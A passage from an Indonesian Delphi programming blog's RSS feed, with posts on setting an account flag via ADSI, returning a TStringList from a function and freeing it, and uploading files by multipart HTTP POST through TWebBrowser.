&nbsp; OleCheck<span class="br0">&#40;</span>MkParseDisplayName<span class="br0">&#40;</span>BindContext,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PWideChar<span class="br0">&#40;</span>WideString<span class="br0">&#40;</span><span class="kw1">Name</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Eaten,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Moniker<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; OleCheck<span class="br0">&#40;</span>Moniker.<span class="me1">BindToObject</span><span class="br0">&#40;</span>BindContext, <span class="kw2">NIL</span>, IDispatch,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dispatch<span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; Result := Dispatch;<br />
<span class="kw1">end</span>;</p>
<p><span class="kw1">end</span>.<br />
&nbsp;</div>
</div>
<p>Melalui ADSI kita dapat juga memodifikasi setting user account. Baris dibawah ini digunakan untuk mengganti &#8216;Password never expires&#8217; flag suatu account:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:c4b62d7b-233d-42d5-b390-672112169f25" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">procedure</span> TFormMain.<span class="me1">ButtonNeverExpiresClick</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp; Usr: IADsUser;<br />
<span class="kw1">begin</span><br />
&nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; Usr := GetObject<span class="br0">&#40;</span><span class="st0">&#8216;WinNT://[computername]/[acccoutname],user&#8217;</span><span class="br0">&#41;</span> as<br />
&nbsp; &nbsp; &nbsp; IADsUser;<br />
&nbsp; <span class="co1">// Check the Checkbox State&#8230;</span><br />
&nbsp; <span class="kw1">if</span> CheckBoxPasswordNeverExpires.<span class="me1">Checked</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; Usr.<span class="me1">Put</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span>, Usr.<span class="kw3">Get</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span><span class="br0">&#41;</span> OR <span class="nu0">65536</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="co1">// 65536 is defined as UF_DONT_EXPIRE_PASSWORD in iads.h &nbsp;</span><br />
&nbsp; &nbsp; <span class="co1">// from the ADSI SDK available from Microsoft</span><br />
&nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; Usr.<span class="me1">Put</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span>, Usr.<span class="kw3">Get</span><span class="br0">&#40;</span><span class="st0">&#8216;UserFlags&#8217;</span><span class="br0">&#41;</span> <span class="kw3">XOR</span> <span class="nu0">65536</span><span class="br0">&#41;</span>; &nbsp;<br />
&nbsp; &nbsp; Usr.<span class="me1">SetInfo</span>;<br />
&nbsp; <span class="kw1">except</span><br />
&nbsp; &nbsp; on E: EOleException <span class="kw1">do</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; ShowMessage<span class="br0">&#40;</span>E.<span class="me1">Message</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;<br />
&nbsp;</div>
</div>
<p>
  </p>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=delphi%20programming&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p><!-- Adsense End --></p>
<p>Lebih lanjut &#8230;.</p>
<p>Untuk lebih mendalami ADSI anda perlu cek detail interface IADsUser atau IADsContainer. Informasi ADSI SDK dari Microsoft dapat dilihat di sini nih: <a href="http://msdn.microsoft.com/en-us/library/bb905317.aspx">http://msdn.microsoft.com/en-us/library/bb905317.aspx</a>.</p>
<p>Referensi: <a href="http://www.delphi3000.com">www.delphi3000.com</a></p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:489be01d-9f94-430c-9dfa-6cceb6823b01" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/delphi" rel="tag">delphi</a>,<a href="http://technorati.com/tags/active+directory" rel="tag">active directory</a>,<a href="http://technorati.com/tags/windows+2003" rel="tag">windows 2003</a>,<a href="http://technorati.com/tags/adsi" rel="tag">adsi</a></div>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a> </p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-dan-menambah-komponen-delphi/" rel="bookmark">20. Membuat dan Menambah Komponen</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-dll/" rel="bookmark">21. Advanced Delphi: DLL</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2011/07/how-to-import-existing-project-directory-into-svn-repository/" rel="bookmark">How to Import Existing Project Directory Into SVN Repository</a></li><li><a href="http://www.dijexi.com/2009/06/mengenal-delphi/" rel="bookmark">01. Mengenal Delphi</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmengakses-active-directory-dari-delphi%2F&amp;linkname=Mengakses%20Active%20Directory%20dari%20Delphi"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Delphi function to return any object type value</title>
		<link>http://www.dijexi.com/2009/07/delphi-function-to-return-any-object-type-value/</link>
		<comments>http://www.dijexi.com/2009/07/delphi-function-to-return-any-object-type-value/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 23:49:07 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[tstringlist]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/delphi-function-to-return-any-object-type-value/</guid>
		<description><![CDATA[Perlu bikin function di Delphi yang return value-nya bukan integer, string, tapi Object, misalnya TStringList? Delphi bisa melakukan hal ini, tapi yang penting diingat adalah, object yang di-create secara manual, harus di-free secara manual pula, kalo nggak memory bakalan leak. Ini caranya: Misal definisi function sbb: function GetStringList: TStringList; begin &#160; &#160;result := TStringList.Create;result.Add&#40;&#8216;an item&#8217;&#41; [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Perlu bikin function di Delphi yang return value-nya bukan integer, string, tapi Object, misalnya TStringList? Delphi bisa melakukan hal ini, tapi yang penting diingat adalah, object yang di-create secara manual, harus di-free secara manual pula, kalo nggak memory bakalan leak. </p>
<p>Ini caranya: </p>
<p> <span id="more-815"></span>
<p>Misal definisi function sbb: </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:affc0a45-5932-45bf-83e7-7e5298e25aa9" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> GetStringList: TStringList;<br />
<span class="kw1">begin</span><br />
&nbsp; &nbsp;result := TStringList.<span class="me1">Create</span>;result.<span class="me1">Add</span><span class="br0">&#40;</span><span class="st0">&#8216;an item&#8217;</span><span class="br0">&#41;</span> ;<br />
<span class="kw1">end</span>;<br />
&nbsp;</div>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>Terus cara manggilnya adalah sbb: </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:bf418c8b-b211-470c-a929-ade95588008f" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">var</span><br />
sl : TStringList;<br />
<span class="kw1">begin</span><br />
&nbsp; sl := GetStringList;<br />
&nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; ShowMessage<span class="br0">&#40;</span>sl<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; <span class="co1">// atau misal lainnya</span><br />
&nbsp; &nbsp; <span class="co1">// ListBox1.Items.Assign(sl) ;</span><br />
&nbsp; <span class="kw1">finally</span><br />
&nbsp; &nbsp; sl.<span class="me1">Free</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;</div>
</div>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=delphi%20programming&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p><!-- Adsense End --></p>
<p>Yang penting diperhatikan disini adalah variabel TStringList yang kita punya (&quot;sl&quot;), yang dipake untuk nerima hasil dari function GetStringList. Setelah dilakukan sesuatu pada variabel itu, pada akhirnya kita harus menghapus variabel ybs dari memory &#8211; untuk menghindari memory leak, yaitu dengan sl.Free. </p>
<p>Jadi yang perlu diingat adalah: ketika suatu function return valunya adalah instance of an object &#8211; selalu pastikan bahwa kita tau siapa yang perlu mem-free object tsb ketika sudah tidak diperlukan lagi!<br />
  <br />Sumber: google.com search &quot;delphi function return tstringlist&quot; </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:0e256d8b-b898-4673-9ca6-d3c9697c39a2" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/Delphi" rel="tag">Delphi</a>,<a href="http://technorati.com/tags/tstringlist" rel="tag">tstringlist</a></div>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a> </p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/05/memanggil-dll-secara-dinamic-di-c-sharp/" rel="bookmark">Memanggil DLL secara dinamis di C#</a></li><li><a href="http://www.dijexi.com/2009/06/mengenal-delphi-project-dan-object-pascal-2/" rel="bookmark">02. Mengenal Delphi Project dan Object Pascal</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-aplikasi-konversi-suhu/" rel="bookmark">03. Konversi Suhu</a></li><li><a href="http://www.dijexi.com/2009/07/finding-element-in-an-array-of-arrays/" rel="bookmark">Finding Element in an Array of Arrays</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fdelphi-function-to-return-any-object-type-value%2F&amp;linkname=Delphi%20function%20to%20return%20any%20object%20type%20value"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/delphi-function-to-return-any-object-type-value/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTTP Upload File dari Delphi</title>
		<link>http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/</link>
		<comments>http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 23:42:15 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[upload]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/</guid>
		<description><![CDATA[Image via Wikipedia Berikut ini function Delphi untuk melakukan upload file menggunakan protokol HTTP. Function ini bisa digunakan pada aplikasi yang memerlukan uploading data ke suatu aplikasi web untuk diproses lebih lanjut, misalnya untuk upload dan import data. procedure UploadFilesHttpPost&#40;const wb:TWebBrowser; const URLstring: string; names, values, nFiles, vFiles: array of string&#41; ; var &#160; strData, [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div style="margin: 1em; width: 64px; display: block; float: right; height: 88px" class="zemanta-img" jquery1247787723093="224"><a href="http://commons.wikipedia.org/wiki/Image:DelphiTholos1.jpg"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="Delphi Tholos" src="http://upload.wikimedia.org/wikipedia/commons/b/bb/DelphiTholos1.jpg" width="40" height="35" /></a>
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://commons.wikipedia.org/wiki/Image:DelphiTholos1.jpg">Wikipedia</a></p>
</p></div>
<p>Berikut ini function <a class="zem_slink" title="Delphi" href="http://maps.google.com/maps?ll=38.4833333333,22.5&amp;spn=0.1,0.1&amp;q=38.4833333333,22.5 (Delphi)&amp;t=h" rel="geolocation">Delphi</a> untuk melakukan upload file menggunakan protokol <a class="zem_slink" title="Hypertext Transfer Protocol" href="http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" rel="wikipedia">HTTP</a>. Function ini bisa digunakan pada aplikasi yang memerlukan <a class="zem_slink" title="Uploading and downloading" href="http://en.wikipedia.org/wiki/Uploading_and_downloading" rel="wikipedia">uploading</a> data ke suatu aplikasi web untuk diproses lebih lanjut, misalnya untuk upload dan import data.</p>
<p> <span id="more-814"></span>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:c368d1d0-97a7-4cf0-9f9d-5d504a2df759" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">procedure</span> UploadFilesHttpPost<span class="br0">&#40;</span><span class="kw4">const</span> wb:TWebBrowser; <span class="kw4">const</span> URLstring: <span class="kw4">string</span>; <br />
names, values, nFiles, vFiles: <span class="kw4">array</span> <span class="kw1">of</span> <span class="kw4">string</span><span class="br0">&#41;</span> ;<br />
<span class="kw1">var</span><br />
&nbsp; strData, n, v, boundary: <span class="kw4">string</span>;<br />
&nbsp;URL: OleVariant;<br />
&nbsp; Flags: OleVariant;<br />
&nbsp;PostData: OleVariant;<br />
&nbsp; Headers: OleVariant;<br />
&nbsp; idx: <span class="kw4">Integer</span>;<br />
&nbsp; ms: TMemoryStream;<br />
&nbsp; ss: TStringStream;<br />
<span class="kw1">begin</span><br />
<span class="coMULTI">{<br />
&nbsp; UploadFilesHttpPost(<br />
&nbsp; WebBrowser1,<br />
&nbsp; &#8216;http://validator.w3.org/check&#8217;,<br />
&nbsp; [],<br />
&nbsp; [],<br />
&nbsp; ['uploaded_file'],<br />
&nbsp; ['C:\blank.htm'] ); <br />
}</span><br />
&nbsp; <span class="kw1">if</span> Length<span class="br0">&#40;</span>names<span class="br0">&#41;</span> &lt;&gt; Length<span class="br0">&#40;</span>values<span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw1">raise</span> Exception.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8216;UploadFilesHttpPost: Names and Values must have the same length.&#8217;</span><span class="br0">&#41;</span> ;<br />
&nbsp; <span class="kw1">if</span> Length<span class="br0">&#40;</span>nFiles<span class="br0">&#41;</span> &lt;&gt; Length<span class="br0">&#40;</span>vFiles<span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw1">raise</span> Exception.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8216;UploadFilesHttpPost: FileNames and FileValues must have the same length.&#8217;</span><span class="br0">&#41;</span> ; <br />
&nbsp; URL := <span class="st0">&#8216;about:blank&#8217;</span>;<br />
&nbsp; Flags := NavNoHistory or NavNoReadFromCache or NavNoWriteToCache or NavAllowAutosearch;<br />
&nbsp; wb.<span class="me1">Navigate2</span><span class="br0">&#40;</span>URL, Flags<span class="br0">&#41;</span> ;<br />
&nbsp; <span class="kw1">while</span> wb.<span class="me1">ReadyState</span> &lt; READYSTATE_INTERACTIVE <br />
&nbsp; &nbsp; <span class="kw1">do</span> Application.<span class="me1">ProcessMessages</span>; <br />
&nbsp; <span class="co1">// anything random that WILL NOT occur in the data.</span><br />
&nbsp; boundary := <span class="st0">&#8216;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;123456789&#8242;</span>; <br />
&nbsp; strData := <span class="st0">&#8221;</span>;<br />
&nbsp; <span class="kw1">for</span> idx := Low<span class="br0">&#40;</span>names<span class="br0">&#41;</span> <span class="kw1">to</span> High<span class="br0">&#40;</span>names<span class="br0">&#41;</span> <span class="kw1">do</span><br />
&nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; n := names<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; v := values<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>; <br />
&nbsp; &nbsp; strData := strData + <span class="st0">&#8216;&#8211;&#8217;</span> + boundary + #<span class="nu0">13</span>#<span class="nu0">10</span> +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="st0">&#8216;Content-Disposition: form-data; name=&quot;&#8217;</span> + n + <span class="st0">&#8216;&quot;&#8217;</span> + #<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span> + v + #<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; <span class="kw1">end</span>; <br />
&nbsp; <span class="kw1">for</span> idx := Low<span class="br0">&#40;</span>nFiles<span class="br0">&#41;</span> <span class="kw1">to</span> High<span class="br0">&#40;</span>nFiles<span class="br0">&#41;</span> <span class="kw1">do</span><br />
&nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; n := nFiles<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; v := vFiles<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>; <br />
&nbsp; &nbsp; strData := strData + <span class="st0">&#8216;&#8211;&#8217;</span> + boundary + #<span class="nu0">13</span>#<span class="nu0">10</span> + <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Content-Disposition: form-data; name=&quot;&#8217;</span> + n + <span class="st0">&#8216;&quot;; filename=&quot;&#8217;</span> + v + <span class="st0">&#8216;&quot;&#8217;</span> + #<span class="nu0">13</span>#<span class="nu0">10</span>; <br />
&nbsp; &nbsp; <span class="kw1">if</span> v = <span class="st0">&#8221;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;strData := strData + <span class="st0">&#8216;Content-Transfer-Encoding: binary&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.JPG&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; or <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.JPEG&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: image/pjpeg&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.PNG&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: image/x-png&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.PDF&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: application/pdf&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.HTML&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span>; <br />
&nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: text/html&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>; <br />
&nbsp; &nbsp; &nbsp; ms := TMemoryStream.<span class="me1">Create</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ms.<span class="me1">LoadFromFile</span><span class="br0">&#40;</span>v<span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ss := TStringStream.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8221;</span><span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ss.<span class="me1">CopyFrom</span><span class="br0">&#40;</span>ms, ms.<span class="me1">Size</span><span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strData := strData + ss.<span class="me1">DataString</span> + #<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">finally</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ss.<span class="me1">Free</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">finally</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ms.<span class="me1">Free</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; &nbsp; strData := strData + <span class="st0">&#8216;&#8211;&#8217;</span> + boundary + <span class="st0">&#8216;&#8211;&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>; <span class="co1">// FOOTER</span><br />
&nbsp; <span class="kw1">end</span>; <br />
&nbsp; strData := strData + #<span class="nu0">0</span>; <br />
&nbsp; <span class="coMULTI">{2. you must convert a string into variant array of bytes and every<br />
&nbsp; &nbsp; character from string is a value in array}</span><br />
&nbsp; PostData := VarArrayCreate<span class="br0">&#40;</span><span class="br0">&#91;</span><span class="nu0">0</span>, Length<span class="br0">&#40;</span>strData<span class="br0">&#41;</span> &#8211; <span class="nu0">1</span><span class="br0">&#93;</span>, varByte<span class="br0">&#41;</span> ; <br />
&nbsp; <span class="coMULTI">{ copy the ordinal value of the character into the PostData array}</span><br />
&nbsp; <span class="kw1">for</span> idx := <span class="nu0">1</span> <span class="kw1">to</span> Length<span class="br0">&#40;</span>strData<span class="br0">&#41;</span> <span class="kw1">do</span> PostData<span class="br0">&#91;</span>idx<span class="nu0">-1</span><span class="br0">&#93;</span> := <span class="kw3">Ord</span><span class="br0">&#40;</span>strData<span class="br0">&#91;</span>idx<span class="br0">&#93;</span><span class="br0">&#41;</span> ; <br />
&nbsp; <span class="coMULTI">{3. prepare headers which will be sent to remote web-server}</span><br />
&nbsp; Headers := <span class="st0">&#8216;Content-Type: multipart/form-data; boundary=&#8217;</span> + boundary + #<span class="nu0">13</span>#<span class="nu0">10</span>; <br />
&nbsp; <span class="coMULTI">{4. you must navigate to the URL with your <br />
&nbsp; &nbsp;script and send as parameters your array with POST-data and headers}</span><br />
&nbsp; URL := URLstring;<br />
&nbsp; wb.<span class="me1">Navigate2</span><span class="br0">&#40;</span>URL, Flags, EmptyParam, PostData, Headers<span class="br0">&#41;</span> ;<br />
&nbsp; <span class="kw1">while</span> wb.<span class="me1">ReadyState</span> &lt; READYSTATE_INTERACTIVE <span class="kw1">do</span> <br />
&nbsp; &nbsp; Application.<span class="me1">ProcessMessages</span>;<br />
<span class="kw1">end</span>;<br />
&nbsp;</div>
</div>
<p>Terus cara menggunakannya adalah sbb, misal dipanggil pada event click Button1:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:a14c0659-7fc8-41f3-9f22-c065a5052173" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">procedure</span> TForm1.<span class="me1">Button1Click</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>; <br />
<span class="kw1">begin</span> <br />
&nbsp; UploadFilesHttpPost<span class="br0">&#40;</span> <br />
&nbsp; WebBrowser1, <br />
&nbsp; <span class="st0">&#8216;http://127.0.0.1/receiver.php&#8217;</span>, <br />
&nbsp; <span class="br0">&#91;</span><span class="br0">&#93;</span>, <br />
&nbsp; <span class="br0">&#91;</span><span class="br0">&#93;</span>, <br />
&nbsp; <span class="br0">&#91;</span><span class="st0">&#8216;uploaded&#8217;</span><span class="br0">&#93;</span>, <br />
